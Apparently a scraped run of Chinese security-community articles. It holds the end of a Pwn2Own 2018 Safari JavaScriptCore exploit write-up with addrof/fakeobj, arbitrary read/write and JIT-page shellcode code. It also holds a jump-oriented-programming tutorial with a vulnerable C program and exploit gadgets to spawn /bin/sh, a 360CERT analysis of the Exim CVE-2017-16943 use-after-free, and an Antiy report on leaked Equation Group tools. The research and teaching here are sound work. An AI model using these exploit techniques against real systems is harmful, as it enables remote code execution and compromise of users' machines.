"已知")的漏洞利用技术来创建“伪造的”TypedArray，并实现相同的效果。
**通用漏洞利用原语**
* * *
虽然伪造TypedArray要比撞大运式的堆分配更加复杂，但它的优点是，在实践中将更加可靠（和具有确定性）。为了能够顺利伪造所需的JS对象，首先需要使用相对R/W原语来构建的两个更高级别的“通用”漏洞利用原语：
* addrof(...)，可以用来获取任意javascript对象的内存地址
* fakeobj(...)，可以根据提供的内存地址返回该位置的javascript对象。
为了创建addrof(...)原语，首先需要创建一个普通的JSArray(oob_target)，它的butterfly位于我们破坏的JSArray
butterfly（相对R/W原语）之后。
利用JavaScript，我们可以将任意对象放入数组的第一个索引对应的内存空间中[A]，然后使用相对R/W原语oob_array读取存储在附近的数组（oob_target）中的对象指针的地址（作为浮点数）。
以[IEEE 754](https://babbage.cs.qc.cuny.edu/IEEE-754.old/Decimal.html "IEEE
754")格式解码浮点数，这样就能得到JSObject在内存中的地址[B]：
// Get the address of a given JSObject
prims.addrof = function(x) {
oob_target[0] = x; // [A]
return Int64.fromDouble(oob_array[oob_target_index]); // [B]
}
通过对上述过程进行逆向操作，就可以得到
fakeobj(...)原语了。为此，可以通过相对R/W原语（oob_array）将给定地址（作为浮点数）写入oob_target数组的butterfly结构[C]。使用JavaScript读取该数组索引将返回我们存储的指针的JSObject
[D]：
// Return a JSObject at a given address
prims.fakeobj = function(addr) {
oob_array[oob_target_index] = addr.asDouble(); // [C]
return oob_target[0]; // [D]
}
使用相对R/W原语，我们创建了一些更高级别的通用漏洞原语，这些原语能够帮助我们创建伪造的JavaScript对象。这简直就像为JavaScript引擎扩展了新的特性！
接下来，我们将演示如何使用这两个新原语来帮助构建伪造的TypedArray对象，进而实现真正的任意R/W原语。
**任意R/W原语**
* * *
这里创建伪造的TypedArray的方法，来自本文前面phrack文章。为了全面起见，我们将对该方法进行详细介绍。
为了便于创建伪造的TypedArray，我们将在一个标准的JSObject“内部”构建它。我们创建的“容器”对象如下所示：
let utarget = new Uint8Array(0x10000);
utarget[0] = 0x41;
// Our fake array
// Structure id guess is 0x200
// [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
let jscell = new Int64('0x0118270000000200');
// Construct the object
// Each attribute will set 8 bytes of the fake object inline
obj = {
// JSCell
'a': jscell.asDouble(),
// Butterfly can be anything (unused)
'b': false,
// Target we want to write to (the 'backing store' field)
'c': utarget,
// Length and flags
'd': new Int64('0x0001000000000010').asDouble()
};
以这种方式使用JSObject，我们就可以轻松随意地设置或修改任何对象内容了。例如，我们可以轻松地让“后备存储”（我们的任意R/W原语）指向任何JS对象，为此，只需将它放到伪造的“BackingStore”字段中即可。
在这些元素中，JSCell是最难伪造的。具体来说，JSCell的structureID字段是问题所在。在运行时，JSC为每个JavaScript对象类生成一个唯一的结构ID。该引擎会使用此ID来确定对象类型，以及如何处理它及其所有属性。然而，在运行时，我们并不知道TypedArray的结构ID是什么。
为了解决这个问题，我们需要借助一些方法，来可靠地“猜出”所需对象类型的有效结构ID。实际上，由于JavaScriptCore的某些低层机制的缘故，如果我们创建一个TypedArray对象并至少为其添加一个自定义属性的话，JavaScriptCore就会为其分配一个唯一的结构ID。因此，我们可以利用这一点来“喷射”结构ID，从而可靠地猜出与TypedArray相对应的id（例如，0x200）。
// Here we will spray structure IDs for Float64Arrays
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function sprayStructures() {
function randomString() {
return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
}
// Spray arrays for structure id
for (let i = 0; i < 0x1000; i++) {
let a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
structs.push(a);
}
}
在喷射了大量的TypedArray
ID后，就能构造出一个伪造的TypedArray，并猜出其structureID的值。通过在伪造的TypedArray对象上调用instanceOf函数，我们可以安全地“检查”我们的猜测是否正确。如果instanceof返回值为Float64Array，则说明我们已经创建了一个“有效”的TypedArray对象！
此时，我们可以利用JavaScript访问伪造的TypedArray对象，同时通过utarget控制其后备存储指针。通过操作该TypedArray的后备存储指针，我们就获得了对进程整个地址空间的完全读写权限。
// Set data at a given address
prims.set = function(addr, arr) {
fakearray[2] = addr.asDouble();
utarget.set(arr);
}
// Read 8 bytes as an Int64 at a given address
prims.read64 = function(addr) {
fakearray[2] = addr.asDouble();
let bytes = Array(8);
for (let i=0; i<8; i++) {
bytes[i] = utarget[i];
}
return new Int64(bytes);
}
// Write an Int64 as 8 bytes at a given address
prims.write64 = function(addr, value) {
fakearray[2] = addr.asDouble();
utarget.set(value.bytes);
}
在任意R/W原语的帮助下，我们就可以实现最终的目标——任意代码执行。
**任意代码执行**
* * *
在MacOS上，Safari/JavaScriptCore仍然会使用具有读/写/执行（RWX）权限的JIT页面。为了实现代码执行，我们只需找到一个具有RWX权限的JIT页面，然后用我们自己的shellcode覆盖它即可。
第一步是找到一个指向[JIT](https://en.wikipedia.org/wiki/Just-in-time_compilation
"JIT")页面的指针。为此，我们创建了一个JavaScript函数对象，并重复使用该对象。这样做的目的，是确保函数对象会将其逻辑编译为机器代码，并在具有RWX权限的JIT页面中分配一个内存区：
// Build an arbitrary JIT function
// This was basically just random junk to make the JIT function larger
let jit = function(x) {
var j = []; j[0] = 0x6323634;
return x*5 + x - x*x /0x2342513426 +(x-x+0x85720642*(x+3-x / x+0x41424344)/0x41424344)+j[0];
};
// Make sure the JIT function has been compiled
jit();
jit();
jit();
...
然后，使用我们的任意R/W原语和 addrof(...) 来探测函数对象的jit。一般来说，对象的RWX JIT页面指针可以从函数对象中找到。
今年1月初，JavaScript指针中引入了一个“[指针中毒](https://webkit.org/blog/8048/what-spectre-and-meltdown-mean-for-webkit/
"指针中毒")”漏洞的安全补丁，用以缓解CPU侧信道漏洞"幽灵"的威胁。当然，该补丁的宗旨，并非向具有任意R/W能力的攻击者隐藏指针，所以，我们需要对该对象进行深入挖掘，以找出一个未中毒的JIT指针。
// Traverse the JSFunction object to retrieve a non-poisoned pointer
log("Finding jitpage");
let jitaddr = prims.read64(
prims.read64(
prims.read64(
prims.read64(
prims.addrof(jit).add(3*8)
).add(3*8)
).add(3*8)
).add(5*8)
);
log("Jit page addr = "+jitaddr);
...
现在，我们已经有了一个指向RWX
JIT页面的指针，接下来，只需将它插入伪造的TypedArray的后备存储字段，然后就可执行任意写操作了。最后，我们必须注意shellcode有效载荷的尺寸大小。如果我们复制太多代码的话，可能会在执行任意写操作时无意中“粉碎”了其他JIT函数，从而导致系统不稳定。
shellcode = [0xcc, 0xcc, 0xcc, 0xcc]
// Overwrite the JIT code with our INT3s
log("Writing shellcode over jit page");
prims.set(jitaddr.add(32), shellcode);
...
为了获得代码执行权限，我们只需利用JavaScript调用相应的函数对象即可。
// Call the JIT function to execute our shellcode
log("Calling jit function");
jit();
运行完整的漏洞利用程序可以看到，我们的Trace/Breakpoint（cc shellcode）正在被执行。这意味着我们已经实现了任意代码执行功能。
最终的漏洞利用代码实现了任意代码执行，该代码适用于Ubuntu 16.04上的JavaScriptCore版本
搞定漏洞利用[代码](https://gist.github.com/itszn/5e6354ff7975e65e5867f3a660e23e05
"代码")后，攻击者还有许多工作要做，就是设法将JavaScript嵌入到任何网站中并弹出易受攻击的Safari版本。如果研发时间充足的话，可以将这个漏洞利用代码的成功率提高到99％以上。
最后一步，是使用HTML封装这个基于JavaScript的漏洞利用代码，同时，为了让它在真正的Mac硬件上运行的Apple
Safari上更加可靠，还需要对其做些调整。这样，受害者只要点击了错误的链接或浏览了恶意网站，其浏览器就会被攻击者攻陷。
**结束语**
* * *
由于以前对JavaScriptCore知之甚少，该漏洞从发现到研究、武器化直至稳定化，花了我们将近100个工时。在参加Pwn2Own
2018大会之前，我们专门购买了一台13英寸、处理器为i5的2017 MacBook
Pro机器，对于我们的Safari漏洞利用代码进行了1000多次的测试，成功率为95％左右。
在Pwn2Own 2018大会上，这个JSC漏洞利用代码在四次尝试中，有三次成功搞定13英寸、i7处理器的2017 MacBook
Pro，其中第二次尝试因竞争条件的原因而失败（可能是i7处理器的缘故）。
zero-day链的下一步是逸出Safari沙箱，拿下整个机器。在下一篇文章中，我们将为读者讲解如何对沙箱进行安全审计，进而找出一个能够提升至root权限的安全漏洞。 | 社区文章 |
# JOP代码复用攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近，我在研究代码重用攻击与防御，在此过程中发现对于rop（return-Oriented Programming）的介绍有许多，但jop(Jump-Oriented Programming)却少有提及。即使有，多数也与rop混杂在一起。因此，我决定基于论文[Jump-Oriented
Programming: A New Class of Code-Reuse
Attack](https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf)完成一次演示。
## 一．什么是jop?
jop，全称Jump-Oriented Programming，中文译为面向跳转编程，是代码重用攻击方式的一种。在2011年，北卡罗来纳州立大学的Tyler
Bletsch等人首次提出这一概念。其实际上是在代码空间中寻找被称为gadget的一连串目标指令，且其以jmp结尾。下图展示了jop原理。
Dispatcher是形如下列形式的代码块
pcßf(pc);
jmp pc;
---
pc可以是任意地址或寄存器，用其作为跳转目标。f(pc)表示对pc进行的操作，以下是一个例子。
inc eax;
jmp eax;
---
比如说首次跳转到了dispatch table的第一项，将会在执行一些指令后通过结尾处的jmp跳转回Dispatcher处，此时执行inc
eax，eax值已改变，再次跳转就可以调到其他地方执行相应指令。而这些gadget的图灵完备性已被证明，也就是说，我们能通过这些gadget达到几乎所有目的。那么，让我们开始吧！
## 二．通过jop执行/bin/sh（简单版）
系统环境
主机OS : 4.4.0-116-generic内核Ubuntu 16.04 i686
CPU : Intel(R) Core(TM) i5-3337U CPU @ 1.80GHz
---
首先，我们来完成一个最简版本的jop攻击。
漏洞代码vul.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
char* executable="/bin//sh";
char* null="";
FILE * fd;
void attack_payload () {
asm(".intel_syntax noprefix");
//dispatcher
asm("add ebp,edi; jmp [ebp-0x39];");
//initializer
asm("popa; jmp [ebx-0x3e];");
//g00
asm("popa; cmc; jmp [edx];");
//g01
asm("inc eax; cmc; jmp [edx];");
//g02
asm("mov [ebx-0x17bc0000], ah; stc; jmp [edx];");
//g03
asm("inc ebx; stc; jmp [edx];");
//g07
asm("popa; call dword ptr [ecx];");
//g08
asm("xchg ecx, eax; fdiv st, st(3); jmp [esi-0xf];");
//g09
asm("mov eax, [esi+0xc]; mov [esp], eax; call [esi+0x4];");
//g0a
asm("int 0x80");
asm(".att_syntax noprefix");
}
void overflow() {
char buf[256];
fscanf(fd,"%[^n]",buf);
return;
}
int main(int argc, char** argv) {
char* filename = "exploit";
if(argc>1) filename = argv[1];
fd=fopen(filename, "r");
overflow();
}
在此版本的演示中，所有gadget均由内联汇编直接写入，无需在代码空间中寻找。
攻击最终要执行execve(“/bin/sh”，argv，envp)，函数原型为
**int** execve( **const** **char** *filename, **char** * **const** argv[],
**char** * **const** envp[]);
---
若要通过int
80执行它，需要有四个寄存器的参与：eax寄存器传递系统调用号0xb，ebx寄存器传递“/bin/sh”字符串的地址，ecx寄存器传递参数argv，edx寄存器传递环境变量envp。为此需要合理设置eax、ebx、ecx、edx等4个寄存器的值。具体步骤如下
= 1 * GB3 ①popa ; jmp *-0x3e(%ebx)
缓冲区溢出会在相应位置设置好数据，popa将会将栈顶所有数据弹出到相应寄存器，
栈帧指向buff字符串，然后跳转至攻击起始处，即第二步。
= 2 * GB3 ②add %edi,%ebp; jmp *-0x39(%ebp)
这时攻击开始，此处ebp寄存器即对应图4.2.5中的PC，edi寄存器已在上一步被设置为偏移量-4，跳转到相应步骤，第一次将会跳到第三步。
= 3 * GB3 ③popa ; …… ; jmp *(%edx)
由于execve()的调用号为0x0000000b，包含’’，无法直接通过缓冲区溢出写入eax寄存器，所以将会分阶段写入。这一步中，将会用popa设置相应寄存器，为写入做准备，准备好一个中间变量，置为0xEEEEEE0b。将eax寄存器置为-1，并通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第四步。
= 4 * GB3 ④inc %eax ; ……; jmp *(%edx)
这一步将eax寄存器加一，为后面的写入做准备，通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第五步。
= 5 * GB3 ⑤mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
此时ah=0x00，mov操作将把中间变量中的第5,6位0xEE置为0x00, 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第六步。
= 6 * GB3 ⑥ inc %ebx ; …… ; jmp *(%edx)
ebx寄存器加一，为下一步设置中间变量做准备， 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第七步。
= 7 * GB3 ⑦ mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00，mov操作将把中间变量中的第3,4位0xEE置为0x00, 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第八步。
= 8 * GB3 ⑧ inc %ebx ; …… ; jmp *(%edx)
ebx寄存器加一，为下一步设置中间变量做准备， 通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第九步。
= 9 * GB3 ⑨mov %ah,-0x17bc0000(%ebx) ;…… ; jmp *(%edx)
ah=0x00，mov操作将把中间变量中的第1,2位0xEE置为0x00,
中间变量此时为0x0000000b,通过edx寄存器跳转回第二步，第二步再以新的地址执行一次跳转，跳转到第十步。
= 10 * GB3 ⑩popa ;…… ; jmp *(%ecx)
成功设置中间变量后，再次设置相应寄存器，通过ecx寄存器跳转回第二步，执行之后步骤。
⑪xchg %eax,%ecx ;……; jmp *-0xf(%esi)
由于上一步需要ecx寄存器做跳转，故交换eax,ecx, 通过esi寄存器跳转回第二步，执行之后步骤。
⑫这个步骤无间接跳转，将会把eax寄存器设置为中间变量值0xb，然后传递系统调用号，此时ebx寄存器指向“/bin/sh”，陷入80中断，执行/bin/sh
---
exploit是由exploit.nasm文件生成的二进制文件，用作缓冲区溢出的输入。
需要注意的只是它的前21行。
将vul.c编译为可执行文件
gcc -g -fno-stack-protector -o vul vul.c
---
用gdb查看各地址
填入exploit.nasm
start:
; Constants:
base: equ 0xbfffef40 ; Address where this buffer is loaded under gdb
dispatcher: equ 0x08048449 ; Address of the dispatcher gadget
initializer equ dispatcher+5 ; Address of initializer gadget
to_executable: equ 0x08048590 ; Points to the string “/bin/sh”
to_null: equ 0x08048599 ; Points to a null dword (0x00000000)
buffer_length: equ 0x100 ; Target program’s buffer size.
; The dispatch table is below (in reverse order)
g0a: dd dispatcher+52 ; int 0x80
g09: dd dispatcher+43 ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
g08: dd dispatcher+37 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
g07: dd dispatcher+33 ; popa ; cmc ; jmp [ecx]
g06: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g05: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g04: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g03: dd dispatcher+28 ; inc ebx ; fdivr st(1), st ; jmp [edx]
g02: dd dispatcher+19 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
g01: dd dispatcher+14 ; inc eax ; fdivr st(1), st ; jmp [edx]
g00: dd dispatcher+9 ; popa ; fdivr st(1), st ; jmp [edx]
---
生成exploit
gdb下运行vul，执行/bin/sh
## 三．进阶
以上例子可以作为jop的一个例子，但实际上不能真实反映其特点。jop
的gadget并不直接存在于当前存在的指令中，而是依赖于对于opcode的另一种解读，如glibc-2.19中，有如下源码：
但使用ROPgadget对其进行gadget提取结果如下：
实际从0x683c7处开始将其解读为
D5 FF aad 0xff
FF jmp ecx
---
因此，我们需要去掉内联汇编，直接在代码空间中寻找gadget。
为此，我们需要使用ROPgadget工具。
sudo pip install ropgadget
---
我们将在libc中寻找gadget。查看其路径并进行查找。
在gadget.txt中就能查找到各gadget的相对地址。
为了计算其绝对地址，我们关闭地址随机化。
显然有system_addr – system_libc = xx_addr – xx_libc
反汇编查看可得system_libc
gdb可打印system地址
则可计算各绝对地址，填入exploit.nasm.
再次生成exploit,gdb下运行。
至此，演示以全部完成。
源码请自行下载<https://pan.baidu.com/s/15CssPnl_Rv0VYCru3htF2Q>
审核人：yiwang 编辑：边边 | 社区文章 |
# 360CERT：CVE-2017-16943 Exim-UAF漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 背景介绍
Exim 是剑桥大学开发的一款基于GPL 协议的开放源代码软件，其主要用于连接互联网
Unix 系统的消息传输代理（MTA）服务器。
2017 年11 月25 日，Exim 官方修复了一处use-after-free的漏洞， 由台湾安全公司
DEVCORE 的研究人员Meh 发现，CVE 编号为：CVE-2017-16943，并公布了一份POC，但
是根据我们的分析跟进，该POC 必须将配置文件中的dkim 开启才能达到控制EIP，造成进
程崩溃的效果。
2017 年12 月11 日，Meh 在DEVCORE 官网公布该漏洞的具体细节和默认配置下的
POC。
360 CERT 对此进行验证，证明可以造成远程代码执行，影响范围广，危害严重。
## 0x01 漏洞攻击面影响
### 1\. 影响面
根据360CERT 全网资产检索平台，截止2017 年12 月15 日检索的结果表明全球有超过
一百万台服务器上运行着Exim，全球的影响分布图如下：
### 2\. 影响版本
该漏洞影响开启chunk 设置的4.88 和4.89 版本
### 3\. 修复版本
360 CERT 建议相关用户及时下载官方的修复补丁，关闭chunk 设置或者更新到4.90 版
本。
## 0x02 漏洞详情
### 1\. 开启dkim 配置下控制rip
exim 一共管理着三种堆，定义成枚举类型的全局变量：
POOL_MAIN: 表示主要的分配的堆块，可以被释放，消息的处理会在该堆池中分配。
POOL_PERM: 表示分配的内存是永久的，直到进程结束才会被释放，保存一些需要共享
的信息, 例如配置信息，host 信息，在使用这块堆池分配前会将store_pool改为POOL_PERM，
再调用store_get()。
POOL_SEARCH: 保存搜索的数据，在search_tidyup、search_open、internal_search_fi
nd函数中被使用。
Exim 会循环读取消息，并动态分配内存，申请内存的函数包括：expand_string()、store_
get()、string_xxx()，store_get_perm()会使用permpool。
将配置文件/usr/exim/configure中的“control=dkim_disable_verify”注释，可以触发进程
崩溃，进而控制rip，分析原因如下：
在receive_msg函数中会判断是否开启dkim，如果开启就会进入dkim_exim_verify_init函
数：
dkim_exim_verify_init函数里在permpool中申请内存：
使得在堆中分配一块内存，同时不改变current_block[0]中的值，后续对消息处理时会在m
ainpool中分配堆块，分配一块0x2010大小的堆块，释放后，由于之前permpool分配的堆块，使
得释放的堆块不和topchunk合并，变成一个unsortedbin，此时fd 和bk 指向mainarena区域。
再进一次storeextend后，通过store_get会获得指向mainarena的指针，之后memcpy对mainaren
a进行写操作，后续的free操作会造成崩溃，RIP会变成填充的数据。
具体的细节如下图：
### 2\. 默认配置下控制rip
在devcore 公司公布具体细节后，我们对默认配置下如何控制rip 进行了分析。其实原理
和开启dkim 配置类似，需要在top_chunk前分配一块在使用的堆块，防止后面释放的堆块和t
op_chunk合并，作者的poc 是利用DATA 来发送一个足够大的数据来扩展堆块，循环多次后，
期间释放了之前的堆块，变成了一个大的unsortedbin块供后续分配。此时top_chunk之前就有
了正在使用的堆块，再利用BDAT 命令达到控制rip 的目的。
具体控制rip 的流程如下：
## 0x03 漏洞利用验证
我们根据meh 的poc 和思路编写了exp，通过控制rip 跳转到fflush(stdout)，并覆盖_I
O_FILE结构覆盖成攻击代码，将_IO_jump_t虚表结构体中的(_IO_sync_t,__sync)覆盖成
system 函数地址，来执行攻击代码。
Exp 攻击效果图：
## 0x04 官方补丁
官方补丁判断要释放的堆块是否为最后一个堆块，如果不是的话，就不能释放，这样就达
不到UAF 的条件，无法触发漏洞。
## 0x05 时间线
2017-11-23 Meh 公布开启dkim 配置的poc
2017-11-25 Exim 官方修复UAF 漏洞
2017-12-11 Meh 公布默认配置下的漏洞细节及poc
2017-12-15 360CERT 完成对漏洞的分析和利用
## 0x06 参考链接
1\. <https://bugs.exim.org/show_bug.cgi?id=2199>
2\. <https://github.com/LetUsFsck/PoC-Exploit-Mirror/blob/master/CVE-2017-16944/poc.py>
3\. <https://xorl.wordpress.com/2017/11/26/cve-2017-16943-exim-use-after-free/>
4\. <https://thehackernews.com/2017/11/exim-internet-mailer-flaws.html>
5\. <https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/> | 社区文章 |
作者：[安天安全研究与应急处理中心（Antiy
CERT）](http://www.antiy.com/response/EQUATIONS/EQUATIONS.html)
> — 方程式组织系列分析报告之四
>
> 安天安全研究与应急处理中心（Antiy CERT）
* 报告初稿完成时间：2017年1月13日 16时00分
* 首次发布时间：2017年1月16日 10时00分
* 本版本更新时间：2017年1月17日 8时30分
[PDF报告下载](http://www.antiy.com/response/EQUATION_DRUG/EQUATION_DRUG.pdf)
## 1 本版本更新小语
安天在此前发布的报告版本的基础上，增加了一个方程式组织主机作业的模块积木图。这个积木图初步展示了一个将主机情报作业按照 **"原子化"拆分**
的模块组合的拼装，在本版本中安天CERT也细化了对部分模块的分析，尽管目前的分析只覆盖这些模块的一少部分。
在数天前，安天CERT把这份暂时称为"提纲"的未完成分析结果发布出来，这并非因为我们期望"速战速决"，而草率地发布一点粗浅的进展，而是我们需要获得更多的建议和批判。所幸的是，在上一版本发布后，获得了业内专家中肯而尖锐的批评，让安天认识到，在面对这组2007~2008年的攻击模块集合时，分析小组再次出现了和当年分析"火焰"时一样的迷茫（尽管安天曾经一度以为自己比那时更清晰）。这些庞杂的模块展开了一组拼图碎片，每一张图上都是有意义的图案，但如果逐一跟进进去，这些图案就会组成一个巨大的迷宫。迷宫之所以让人迷惑，不在于其处处是死路，而在于其看起来处处有出口，但所有的砖块都不能给进入者以足够的提示。此时，最大的期待，不只是有一只笔，可以在走过的地方做出标记，而是插上双翼凌空飞起，俯瞰迷宫的全貌。当然这是一种提升分析方法论的自我期待，我辈当下虽身无双翼，但或可练就一点灵犀。
目前安天的积木还原工作还刚刚起步，对于能够在中国的传统节日春节前，发布出分析报告的新版本，安天还是有些许欣慰的。网络安全注定是一个需要永远保持警惕和勤奋的行业，我们的分析工作会持续进行下去，即使是在焰火升腾，鞭炮响起的时刻，依然需要有紧盯反汇编代码和威胁态势的眼睛。
感谢业内专家同仁对安天的关注和支持，感谢安天客户对安天产品与服务的信任，祝大家新春快乐！
## 2 背景
对于方程式组织，在过去的两年中，安天已经连续发布了三篇分析报告：在《修改硬盘固件的木马--探索方程式（EQUATION）组织的攻击组件》[1]
中，安天对多个模块进行了分析，并对其写入硬盘固件的机理进行了分析验证；在《方程式（EQUATION）部分组件中的加密技巧分析》[2]报告中，对攻击组件中使用的加密方式实现了破解；在《从"方程式"到"方程组"
--EQUATION攻击组织高级恶意代码的全平台能力解析》[3]报告中，安天独家提供了方程式在Linux和Solaris系统的样本分析，这也是业内首次正式证实这些"恶灵"真实存在的公开分析。
APT的分析成果，与研发反APT产品一样，都要基于充分的基础积累，而不可能"一夜之间建成罗马"。对于方程式这样大至无形的超级攻击组织来说，安天过去所做的具体的分析工作都是盲人摸象的过程，一旦飘忽的线索落入安天已经摸索过的范围之内，就可以迅速发布储备成果，而如果面对的是一个未曾充分探查的区域，则需要更长的时间展开分析工作，因此与安天此前已经发布的三篇方程式的长篇报告相比，本篇报告目前的版本依然是比较仓促的，因此安天会坚持称之为"提纲"，旨在能抛砖引玉，邀请更多兄弟团队共同加入分析工作，以便进一步呈现出其全貌。
本篇展现的分析工作是围绕2017年1月12日"影子经纪人"放出Equation Group 组件中的61个文件[4]
而展开的。经分析，在本次放出的61个文件中，其中含有Equation Group
组件和DanderSpritZ（RAT）工具中的一些插件。DanderSpritZ是NSA（National Security
Agency）的间谍工具之一，在1月7号"影子经纪人"放出的Windows攻击工具[5]中也包含了大量DanderSpritZ的插件名称。
组件EquationDrug是一个很复杂的模块，其存活时间有近10年，后来被GrayFish升级替代。从EquationDrug到GrayFish是攻击平台级别的恶意代码体系，具有安装与卸载插件功能。在本次"影子经纪人"放出的文件中，安天CERT看到了更多的EquationDrug组件中的插件。通过分析比对发现，这些插件比之前安天分析过的插件版本低，但其中包含了一些此前未曾被业内捕获到的模块。
## 3 方程式线索曝光和分析成果时间链梳理
从2013年起，安天从样本分析中，逐步发现存在一个拥有全平台载荷攻击能力的攻击组织，并逐步关联分析了其多个平台的样本。在这个过程中，安天感到一个大至无形的超级攻击组织的存在，但并未找到其攻击背景。
2015年2月，卡巴斯基实验室曝光了一个名为方程式（Equation
Group）[6]的攻击组织，引发了全球关注，卡巴斯基认为该组织已活跃近20年，可能是目前世界上存在的最复杂的APT攻击组织之一，并认为该组织是震网（Stuxnet）和火焰（Flame）病毒幕后的操纵者。经过线索比对，安天发现这正是此前一直跟踪的超级攻击组织，决定通过报告公开其针对硬盘固件作业的原理[1]和已破解的其部分加密算法[2]，形成了安天对于方程式系列分析的前两篇报告。
2015年3月，卡巴斯基实验室发布了基于Equation Drug组件或平台的剖析[7]，Equation
Drug是方程式组织所用的主要间谍组件或平台之一，最早可追溯到2001年，并且一直沿用至今。该组件或平台的架构类似于一个具有内核模式和用户模式的微型操作系统，通过自定义接口进行交互。该组件或平台包括驱动程序、平台内核（协调器）和若干插件，其中一些插件配备独特的ID和版本号，用于定义相关功能等。
2016年8月，一个自称"影子经纪人"（The Shadow
Brokers）的个人（或组织）声称入侵了网络间谍组织方程式（Equation）[8]，并以100万比特币（当时约价值为5.6亿美元）的价格，公开"拍卖"所掌握的方程式组织的攻击工具，方程式组织被认为与NSA存在联系。为证明成功入侵的真实性，"影子经纪人"于当月13日在开源项目托管平台GitHub加密发布了这些攻击工具，并有意将其中的少量攻击工具以明文形式发布。
2016年8月，卡巴斯基实验室通过对方程式组织与"影子经纪人"曝光的数据进行对比验证[9]，确认了曝光的数据与方程式组织有关。2016年10月，"影子经纪人"对攻击工具再度发起拍卖[10]，并称在GitHub发布的方程式攻击工具只占其掌握的60%。
2016年11月，"影子经纪人"公开了一份遭受入侵的服务器清单[11]，并称攻击方与NSA有关。清单的日期显示，各系统遭受入侵的时间是在2000年到2010年之间，受控IP及域名分布在49个国家，主要集中在亚太地区，受影响的国家包括中国、日本、韩国、西班牙、德国、印度等。
安天将这些数据导入到安天态势感知和预警平台，形成了下图的可视化展现。
在"影子经纪人"的爆料中，提及的相关服务器可能是Linux、FreeBSD和Solaris。而在2016年上半年的两次技术会议中，安天则明确说明，方程式有针对多个系统平台的样本，其中包括Linux和Solaris。安天最终于2016年11月5日公开了方程式组织针对Linux和Solaris的部分样本载荷的分析报告（安天方程式系列报告之三）[3]。
图 3 - 1 安天态势感知与监控预警平台："方程式"组织对全球互联网节点的入侵可视化复现
安天分析团队小组对方程式的上述信息进行了梳理，整理出方程式事件曝光和相关分析的时间链。
图 3 - 2 方程式事件相关信息曝光和厂商分析的时间链
## 4 DanderSpritz攻击平台
安天通过对本次泄露的文件以及对以往方程式资料的分析发现，方程式组织的"EquationDrug"平台与泄露文件中提到的"DanderSpritz"具有一定内在联系：
1\.
本次泄露的msgkd.ex_、msgki.ex_、msgks.ex_、msgku.ex_为GROK插件，是"DanderSpritz"的插件或模块，该插件在"EquationDrug"平台中也曾出现，通过分析发现本次泄露的GROK为低版本GROK插件。
2\.
本次曝光的各类DLL插件中的一处数据为插件ID，插件ID都是以0x79开头，如：0x79A4、0x79D8，同样，"EquationDrug"平台的插件也设有内置ID，"EquationDrug"平台的插件ID为0x80开头，且两个平台的插件导出函数参数的数据结构也存在相似之处。
因此，基本可以认为方程式组织使用的"EquationDrug"攻击平台与"DanderSpritz"使用了相同的架构设计，两者可能是不同的版本代号，或至少来自同一开发团队或资源高度共享的团队。
图 4 - 1 方程式组织的DanderSpritz攻击平台
图 4 - 2 "影子经纪人"泄露的"DanderSpritz"攻击平台截图
本次"影子经纪人"所曝光的文件中多数为"DanderSpritz"平台的攻击插件，一是文件列表，二是61个部分插件实体文件。从放出的文件列表HASH和截图来看，攻击工具和插件非常丰富且标准化，具体包括远控、漏洞利用、后门、插件等。DanderSpritz_All_Find.txt文件内容多达7千余行，其中插件有数百个之多。对泄露出来的61个文件进行分析梳理，根据样本中的一些信息推断，这61个样本应该属于两类：测试版本与发布版本。测试版本中含有一些明文信息，并没有进行加密处理，使用了常规的函数调用方式，而在发布版本中这些信息并不存在，函数调用方式也改为动态调用，更加隐蔽。从时间戳上来看，测试版本的生成时间比发布版本要早5秒左右。测试版本是不应用于实际攻击中的，从侧面也再次证实了这些文件是被从开发和保管场景窃取出来的，而不是在攻击中捕获到的。
表 4 - 1 泄露实体文件的部分插件功能列表
**测试版本** ****
</b></p></td>
<td><p><b>发布版本</b><b>
</b></p></td>
<td><p><b>功能</b><b>
</b></p></td>
</tr>
<tr>
<td></td>
<td><p>DoubleFeatureDll.dll.unfinalized
</p></td>
<td><p>该模块用于创建线程执行函数，地址由调用者传入。同时，内部还有SHA256、AES、CRC32等算法。
</p></td>
</tr>
<tr>
<td><p>DuplicateToken_Lp.dll
</p></td>
<td><p>DuplicateToken_Implant.dll
</p></td>
<td><p>该模块用于获取Token，并执行操作。
</p></td>
</tr>
<tr>
<td></td>
<td><p>DXGHLP16.SYS
</p></td>
<td><p>该模块用于网络嗅探 监测以太网和VPN的流量 ，用于Windows 9x系统。
</p></td>
</tr>
<tr>
<td><p>EventLogEdit_Lp.dll
</p></td>
<td><p>EventLogEdit_Implant.dll
</p></td>
<td><p>该模块可对事件日志文件进行编辑。
</p></td>
</tr>
<tr>
<td><p>GetAdmin_Lp.dll
</p></td>
<td><p>GetAdmin_Implant.dll
</p></td>
